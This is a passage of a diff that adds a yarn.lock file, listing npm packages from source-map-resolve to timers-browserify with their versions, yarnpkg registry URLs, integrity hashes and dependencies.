+ integrity sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==
+ dependencies:
+ atob "^2.1.2"
+ decode-uri-component "^0.2.0"
+ resolve-url "^0.2.1"
+ source-map-url "^0.4.0"
+ urix "^0.1.0"
+
+source-map-support@^0.5.16, source-map-support@~0.5.12:
+ version "0.5.19"
+ resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.19.tgz#a98b62f86dcaf4f67399648c085291ab9e8fed61"
+ integrity sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==
+ dependencies:
+ buffer-from "^1.0.0"
+ source-map "^0.6.0"
+
+source-map-url@^0.4.0:
+ version "0.4.1"
+ resolved "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.1.tgz#0af66605a745a5a2f91cf1bbf8a7afbc283dec56"
+ integrity sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==
+
+source-map@^0.4.2:
+ version "0.4.4"
+ resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.4.4.tgz#eba4f5da9c0dc999de68032d8b4f76173652036b"
+ integrity sha1-66T12pwNyZneaAMti092FzZSA2s=
+ dependencies:
+ amdefine ">=0.0.4"
+
+source-map@^0.5.0, source-map@^0.5.6, source-map@^0.5.7:
+ version "0.5.7"
+ resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
+ integrity sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=
+
+source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1:
+ version "0.6.1"
+ resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
+ integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
+
+source-map@^0.7.3:
+ version "0.7.3"
+ resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.3.tgz#5302f8169031735226544092e64981f751750383"
+ integrity sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==
+
+sourcemap-codec@^1.4.4:
+ version "1.4.8"
+ resolved "https://registry.yarnpkg.com/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz#ea804bd94857402e6992d05a38ef1ae35a9ab4c4"
+ integrity sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==
+
+space-separated-tokens@^1.0.0:
+ version "1.1.5"
+ resolved "https://registry.yarnpkg.com/space-separated-tokens/-/space-separated-tokens-1.1.5.tgz#85f32c3d10d9682007e917414ddc5c26d1aa6899"
+ integrity sha512-q/JSVd1Lptzhf5bkYm4ob4iWPjx0KiRe3sRFBNrVqbJkFaBm5vbbowy1mymoPNLRa52+oadOhJ+K49wsSeSjTA==
+
+spdx-correct@^3.0.0:
+ version "3.1.1"
+ resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.1.1.tgz#dece81ac9c1e6713e5f7d1b6f17d468fa53d89a9"
+ integrity sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==
+ dependencies:
+ spdx-expression-parse "^3.0.0"
+ spdx-license-ids "^3.0.0"
+
+spdx-exceptions@^2.1.0:
+ version "2.3.0"
+ resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz#3f28ce1a77a00372683eade4a433183527a2163d"
+ integrity sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==
+
+spdx-expression-parse@^3.0.0:
+ version "3.0.1"
+ resolved "https://registry.yarnpkg.com/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz#cf70f50482eefdc98e3ce0a6833e4a53ceeba679"
+ integrity sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==
+ dependencies:
+ spdx-exceptions "^2.1.0"
+ spdx-license-ids "^3.0.0"
+
+spdx-license-ids@^3.0.0:
+ version "3.0.9"
+ resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.9.tgz#8a595135def9592bda69709474f1cbeea7c2467f"
+ integrity sha512-Ki212dKK4ogX+xDo4CtOZBVIwhsKBEfsEEcwmJfLQzirgc2jIWdzg40Unxz/HzEUqM1WFzVlQSMF9kZZ2HboLQ==
+
+split-string@^3.0.1, split-string@^3.0.2:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/split-string/-/split-string-3.1.0.tgz#7cb09dda3a86585705c64b39a6466038682e8fe2"
+ integrity sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==
+ dependencies:
+ extend-shallow "^3.0.0"
+
+sprintf-js@~1.0.2:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
+ integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=
+
+sshpk@^1.7.0:
+ version "1.16.1"
+ resolved "https://registry.yarnpkg.com/sshpk/-/sshpk-1.16.1.tgz#fb661c0bef29b39db40769ee39fa70093d6f6877"
+ integrity sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==
+ dependencies:
+ asn1 "~0.2.3"
+ assert-plus "^1.0.0"
+ bcrypt-pbkdf "^1.0.0"
+ dashdash "^1.12.0"
+ ecc-jsbn "~0.1.1"
+ getpass "^0.1.1"
+ jsbn "~0.1.0"
+ safer-buffer "^2.0.2"
+ tweetnacl "~0.14.0"
+
+ssri@^6.0.1:
+ version "6.0.2"
+ resolved "https://registry.yarnpkg.com/ssri/-/ssri-6.0.2.tgz#157939134f20464e7301ddba3e90ffa8f7728ac5"
+ integrity sha512-cepbSq/neFK7xB6A50KHN0xHDotYzq58wWCa5LeWqnPrHG8GzfEjO/4O8kpmcGW+oaxkvhEJCWgbgNk4/ZV93Q==
+ dependencies:
+ figgy-pudding "^3.5.1"
+
+ssri@^8.0.1:
+ version "8.0.1"
+ resolved "https://registry.yarnpkg.com/ssri/-/ssri-8.0.1.tgz#638e4e439e2ffbd2cd289776d5ca457c4f51a2af"
+ integrity sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==
+ dependencies:
+ minipass "^3.1.1"
+
+stable@^0.1.8:
+ version "0.1.8"
+ resolved "https://registry.yarnpkg.com/stable/-/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf"
+ integrity sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==
+
+state-toggle@^1.0.0:
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/state-toggle/-/state-toggle-1.0.3.tgz#e123b16a88e143139b09c6852221bc9815917dfe"
+ integrity sha512-d/5Z4/2iiCnHw6Xzghyhb+GcmF89bxwgXG60wjIiZaxnymbyOmI8Hk4VqHXiVVp6u2ysaskFfXg3ekCj4WNftQ==
+
+static-extend@^0.1.1:
+ version "0.1.2"
+ resolved "https://registry.yarnpkg.com/static-extend/-/static-extend-0.1.2.tgz#60809c39cbff55337226fd5e0b520f341f1fb5c6"
+ integrity sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=
+ dependencies:
+ define-property "^0.2.5"
+ object-copy "^0.1.0"
+
+"statuses@>= 1.5.0 < 2", statuses@~1.5.0:
+ version "1.5.0"
+ resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
+ integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=
+
+stdout-stream@^1.4.0:
+ version "1.4.1"
+ resolved "https://registry.yarnpkg.com/stdout-stream/-/stdout-stream-1.4.1.tgz#5ac174cdd5cd726104aa0c0b2bd83815d8d535de"
+ integrity sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==
+ dependencies:
+ readable-stream "^2.0.1"
+
+store2@^2.12.0:
+ version "2.12.0"
+ resolved "https://registry.yarnpkg.com/store2/-/store2-2.12.0.tgz#e1f1b7e1a59b6083b2596a8d067f6ee88fd4d3cf"
+ integrity sha512-7t+/wpKLanLzSnQPX8WAcuLCCeuSHoWdQuh9SB3xD0kNOM38DNf+0Oa+wmvxmYueRzkmh6IcdKFtvTa+ecgPDw==
+
+stream-browserify@^2.0.1:
+ version "2.0.2"
+ resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b"
+ integrity sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==
+ dependencies:
+ inherits "~2.0.1"
+ readable-stream "^2.0.2"
+
+stream-each@^1.1.0:
+ version "1.2.3"
+ resolved "https://registry.yarnpkg.com/stream-each/-/stream-each-1.2.3.tgz#ebe27a0c389b04fbcc233642952e10731afa9bae"
+ integrity sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==
+ dependencies:
+ end-of-stream "^1.1.0"
+ stream-shift "^1.0.0"
+
+stream-http@^2.7.2:
+ version "2.8.3"
+ resolved "https://registry.yarnpkg.com/stream-http/-/stream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc"
+ integrity sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==
+ dependencies:
+ builtin-status-codes "^3.0.0"
+ inherits "^2.0.1"
+ readable-stream "^2.3.6"
+ to-arraybuffer "^1.0.0"
+ xtend "^4.0.0"
+
+stream-shift@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/stream-shift/-/stream-shift-1.0.1.tgz#d7088281559ab2778424279b0877da3c392d5a3d"
+ integrity sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==
+
+string-hash@^1.1.1:
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/string-hash/-/string-hash-1.1.3.tgz#e8aafc0ac1855b4666929ed7dd1275df5d6c811b"
+ integrity sha1-6Kr8CsGFW0Zmkp7X3RJ1311sgRs=
+
+string-width@^1.0.1:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/string-width/-/string-width-1.0.2.tgz#118bdf5b8cdc51a2a7e70d211e07e2b0b9b107d3"
+ integrity sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=
+ dependencies:
+ code-point-at "^1.0.0"
+ is-fullwidth-code-point "^1.0.0"
+ strip-ansi "^3.0.0"
+
+"string-width@^1.0.2 || 2":
+ version "2.1.1"
+ resolved "https://registry.yarnpkg.com/string-width/-/string-width-2.1.1.tgz#ab93f27a8dc13d28cac815c462143a6d9012ae9e"
+ integrity sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==
+ dependencies:
+ is-fullwidth-code-point "^2.0.0"
+ strip-ansi "^4.0.0"
+
+string-width@^3.0.0, string-width@^3.1.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/string-width/-/string-width-3.1.0.tgz#22767be21b62af1081574306f69ac51b62203961"
+ integrity sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==
+ dependencies:
+ emoji-regex "^7.0.1"
+ is-fullwidth-code-point "^2.0.0"
+ strip-ansi "^5.1.0"
+
+string-width@^4.0.0, string-width@^4.1.0, string-width@^4.2.0:
+ version "4.2.2"
+ resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.2.tgz#dafd4f9559a7585cfba529c6a0a4f73488ebd4c5"
+ integrity sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==
+ dependencies:
+ emoji-regex "^8.0.0"
+ is-fullwidth-code-point "^3.0.0"
+ strip-ansi "^6.0.0"
+
+"string.prototype.matchall@^4.0.0 || ^3.0.1":
+ version "4.0.5"
+ resolved "https://registry.yarnpkg.com/string.prototype.matchall/-/string.prototype.matchall-4.0.5.tgz#59370644e1db7e4c0c045277690cf7b01203c4da"
+ integrity sha512-Z5ZaXO0svs0M2xd/6By3qpeKpLKd9mO4v4q3oMEQrk8Ck4xOD5d5XeBOOjGrmVZZ/AHB1S0CgG4N5r1G9N3E2Q==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.2"
+ get-intrinsic "^1.1.1"
+ has-symbols "^1.0.2"
+ internal-slot "^1.0.3"
+ regexp.prototype.flags "^1.3.1"
+ side-channel "^1.0.4"
+
+string.prototype.padend@^3.0.0:
+ version "3.1.2"
+ resolved "https://registry.yarnpkg.com/string.prototype.padend/-/string.prototype.padend-3.1.2.tgz#6858ca4f35c5268ebd5e8615e1327d55f59ee311"
+ integrity sha512-/AQFLdYvePENU3W5rgurfWSMU6n+Ww8n/3cUt7E+vPBB/D7YDG8x+qjoFs4M/alR2bW7Qg6xMjVwWUOvuQ0XpQ==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.0-next.2"
+
+string.prototype.padstart@^3.0.0:
+ version "3.1.2"
+ resolved "https://registry.yarnpkg.com/string.prototype.padstart/-/string.prototype.padstart-3.1.2.tgz#f9b9ce66bedd7c06acb40ece6e34c6046e1a019d"
+ integrity sha512-HDpngIP3pd0DeazrfqzuBrQZa+D2arKWquEHfGt5LzVjd+roLC3cjqVI0X8foaZz5rrrhcu8oJAQamW8on9dqw==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+ es-abstract "^1.18.0-next.2"
+
+string.prototype.trimend@^1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz#e75ae90c2942c63504686c18b287b4a0b1a45f80"
+ integrity sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+
+string.prototype.trimstart@^1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz#b36399af4ab2999b4c9c648bd7a3fb2bb26feeed"
+ integrity sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==
+ dependencies:
+ call-bind "^1.0.2"
+ define-properties "^1.1.3"
+
+string_decoder@^1.0.0, string_decoder@^1.1.1:
+ version "1.3.0"
+ resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
+ integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==
+ dependencies:
+ safe-buffer "~5.2.0"
+
+string_decoder@~1.1.1:
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
+ integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==
+ dependencies:
+ safe-buffer "~5.1.0"
+
+strip-ansi@6.0.0, strip-ansi@^6.0.0:
+ version "6.0.0"
+ resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532"
+ integrity sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==
+ dependencies:
+ ansi-regex "^5.0.0"
+
+strip-ansi@^3.0.0, strip-ansi@^3.0.1:
+ version "3.0.1"
+ resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
+ integrity sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=
+ dependencies:
+ ansi-regex "^2.0.0"
+
+strip-ansi@^4.0.0:
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-4.0.0.tgz#a8479022eb1ac368a871389b635262c505ee368f"
+ integrity sha1-qEeQIusaw2iocTibY1JixQXuNo8=
+ dependencies:
+ ansi-regex "^3.0.0"
+
+strip-ansi@^5.0.0, strip-ansi@^5.1.0, strip-ansi@^5.2.0:
+ version "5.2.0"
+ resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-5.2.0.tgz#8c9a536feb6afc962bdfa5b104a5091c1ad9c0ae"
+ integrity sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==
+ dependencies:
+ ansi-regex "^4.1.0"
+
+strip-bom@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-2.0.0.tgz#6219a85616520491f35788bdbf1447a99c7e6b0e"
+ integrity sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=
+ dependencies:
+ is-utf8 "^0.2.0"
+
+strip-eof@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/strip-eof/-/strip-eof-1.0.0.tgz#bb43ff5598a6eb05d89b59fcd129c983313606bf"
+ integrity sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=
+
+strip-indent@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/strip-indent/-/strip-indent-1.0.1.tgz#0c7962a6adefa7bbd4ac366460a638552ae1a0a2"
+ integrity sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=
+ dependencies:
+ get-stdin "^4.0.1"
+
+style-loader@^1.3.0:
+ version "1.3.0"
+ resolved "https://registry.yarnpkg.com/style-loader/-/style-loader-1.3.0.tgz#828b4a3b3b7e7aa5847ce7bae9e874512114249e"
+ integrity sha512-V7TCORko8rs9rIqkSrlMfkqA63DfoGBBJmK1kKGCcSi+BWb4cqz0SRsnp4l6rU5iwOEd0/2ePv68SV22VXon4Q==
+ dependencies:
+ loader-utils "^2.0.0"
+ schema-utils "^2.7.0"
+
+style-to-object@0.3.0, style-to-object@^0.3.0:
+ version "0.3.0"
+ resolved "https://registry.yarnpkg.com/style-to-object/-/style-to-object-0.3.0.tgz#b1b790d205991cc783801967214979ee19a76e46"
+ integrity sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA==
+ dependencies:
+ inline-style-parser "0.1.1"
+
+supports-color@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-2.0.0.tgz#535d045ce6b6363fa40117084629995e9df324c7"
+ integrity sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=
+
+supports-color@^5.3.0, supports-color@^5.4.0:
+ version "5.5.0"
+ resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
+ integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
+ dependencies:
+ has-flag "^3.0.0"
+
+supports-color@^6.1.0:
+ version "6.1.0"
+ resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-6.1.0.tgz#0764abc69c63d5ac842dd4867e8d025e880df8f3"
+ integrity sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==
+ dependencies:
+ has-flag "^3.0.0"
+
+supports-color@^7.0.0, supports-color@^7.1.0:
+ version "7.2.0"
+ resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+ integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+ dependencies:
+ has-flag "^4.0.0"
+
+swap-case@^1.1.0:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/swap-case/-/swap-case-1.1.2.tgz#c39203a4587385fad3c850a0bd1bcafa081974e3"
+ integrity sha1-w5IDpFhzhfrTyFCgvRvK+ggZdOM=
+ dependencies:
+ lower-case "^1.1.1"
+ upper-case "^1.1.1"
+
+symbol.prototype.description@^1.0.0:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/symbol.prototype.description/-/symbol.prototype.description-1.0.4.tgz#c30edd3fe8c040d941cf7dc15842be15adf66855"
+ integrity sha512-fZkHwJ8ZNRVRzF/+/2OtygyyH06CjC0YZAQRHu9jKKw8RXlJpbizEHvGRUu22Qkg182wJk1ugb5Aovcv3UPrww==
+ dependencies:
+ call-bind "^1.0.2"
+ es-abstract "^1.18.0-next.2"
+ has-symbols "^1.0.1"
+ object.getownpropertydescriptors "^2.1.2"
+
+tapable@^1.0.0, tapable@^1.1.3:
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/tapable/-/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2"
+ integrity sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==
+
+tar@^2.0.0:
+ version "2.2.2"
+ resolved "https://registry.yarnpkg.com/tar/-/tar-2.2.2.tgz#0ca8848562c7299b8b446ff6a4d60cdbb23edc40"
+ integrity sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==
+ dependencies:
+ block-stream "*"
+ fstream "^1.0.12"
+ inherits "2"
+
+tar@^6.0.2:
+ version "6.1.0"
+ resolved "https://registry.yarnpkg.com/tar/-/tar-6.1.0.tgz#d1724e9bcc04b977b18d5c573b333a2207229a83"
+ integrity sha512-DUCttfhsnLCjwoDoFcI+B2iJgYa93vBnDUATYEeRx6sntCTdN01VnqsIuTlALXla/LWooNg0yEGeB+Y8WdFxGA==
+ dependencies:
+ chownr "^2.0.0"
+ fs-minipass "^2.0.0"
+ minipass "^3.0.0"
+ minizlib "^2.1.1"
+ mkdirp "^1.0.3"
+ yallist "^4.0.0"
+
+telejson@^5.1.0:
+ version "5.3.3"
+ resolved "https://registry.yarnpkg.com/telejson/-/telejson-5.3.3.tgz#fa8ca84543e336576d8734123876a9f02bf41d2e"
+ integrity sha512-PjqkJZpzEggA9TBpVtJi1LVptP7tYtXB6rEubwlHap76AMjzvOdKX41CxyaW7ahhzDU1aftXnMCx5kAPDZTQBA==
+ dependencies:
+ "@types/is-function" "^1.0.0"
+ global "^4.4.0"
+ is-function "^1.0.2"
+ is-regex "^1.1.2"
+ is-symbol "^1.0.3"
+ isobject "^4.0.0"
+ lodash "^4.17.21"
+ memoizerific "^1.11.3"
+
+temp@^0.8.1:
+ version "0.8.4"
+ resolved "https://registry.yarnpkg.com/temp/-/temp-0.8.4.tgz#8c97a33a4770072e0a05f919396c7665a7dd59f2"
+ integrity sha512-s0ZZzd0BzYv5tLSptZooSjK8oj6C+c19p7Vqta9+6NPOf7r+fxq0cJe6/oN4LTC79sy5NY8ucOJNgwsKCSbfqg==
+ dependencies:
+ rimraf "~2.6.2"
+
+term-size@^2.1.0:
+ version "2.2.1"
+ resolved "https://registry.yarnpkg.com/term-size/-/term-size-2.2.1.tgz#2a6a54840432c2fb6320fea0f415531e90189f54"
+ integrity sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==
+
+terser-webpack-plugin@^1.4.3:
+ version "1.4.5"
+ resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz#a217aefaea330e734ffacb6120ec1fa312d6040b"
+ integrity sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw==
+ dependencies:
+ cacache "^12.0.2"
+ find-cache-dir "^2.1.0"
+ is-wsl "^1.1.0"
+ schema-utils "^1.0.0"
+ serialize-javascript "^4.0.0"
+ source-map "^0.6.1"
+ terser "^4.1.2"
+ webpack-sources "^1.4.0"
+ worker-farm "^1.7.0"
+
+terser-webpack-plugin@^3.1.0:
+ version "3.1.0"
+ resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-3.1.0.tgz#91e6d39571460ed240c0cf69d295bcf30ebf98cb"
+ integrity sha512-cjdZte66fYkZ65rQ2oJfrdCAkkhJA7YLYk5eGOcGCSGlq0ieZupRdjedSQXYknMPo2IveQL+tPdrxUkERENCFA==
+ dependencies:
+ cacache "^15.0.5"
+ find-cache-dir "^3.3.1"
+ jest-worker "^26.2.1"
+ p-limit "^3.0.2"
+ schema-utils "^2.6.6"
+ serialize-javascript "^4.0.0"
+ source-map "^0.6.1"
+ terser "^4.8.0"
+ webpack-sources "^1.4.3"
+
+terser@^4.1.2, terser@^4.6.3, terser@^4.8.0:
+ version "4.8.0"
+ resolved "https://registry.yarnpkg.com/terser/-/terser-4.8.0.tgz#63056343d7c70bb29f3af665865a46fe03a0df17"
+ integrity sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==
+ dependencies:
+ commander "^2.20.0"
+ source-map "~0.6.1"
+ source-map-support "~0.5.12"
+
+test-exclude@^6.0.0:
+ version "6.0.0"
+ resolved "https://registry.yarnpkg.com/test-exclude/-/test-exclude-6.0.0.tgz#04a8698661d805ea6fa293b6cb9e63ac044ef15e"
+ integrity sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==
+ dependencies:
+ "@istanbuljs/schema" "^0.1.2"
+ glob "^7.1.4"
+ minimatch "^3.0.4"
+
+text-table@0.2.0:
+ version "0.2.0"
+ resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
+ integrity sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=
+
+throttle-debounce@^3.0.1:
+ version "3.0.1"
+ resolved "https://registry.yarnpkg.com/throttle-debounce/-/throttle-debounce-3.0.1.tgz#32f94d84dfa894f786c9a1f290e7a645b6a19abb"
+ integrity sha512-dTEWWNu6JmeVXY0ZYoPuH5cRIwc0MeGbJwah9KUNYSJwommQpCzTySTpEe8Gs1J23aeWEuAobe4Ag7EHVt/LOg==
+
+through2@^2.0.0:
+ version "2.0.5"
+ resolved "https://registry.yarnpkg.com/through2/-/through2-2.0.5.tgz#01c1e39eb31d07cb7d03a96a70823260b23132cd"
+ integrity sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==
+ dependencies:
+ readable-stream "~2.3.6"
+ xtend "~4.0.1"
+
+timers-browserify@^2.0.4:
+ version "2.0.12"
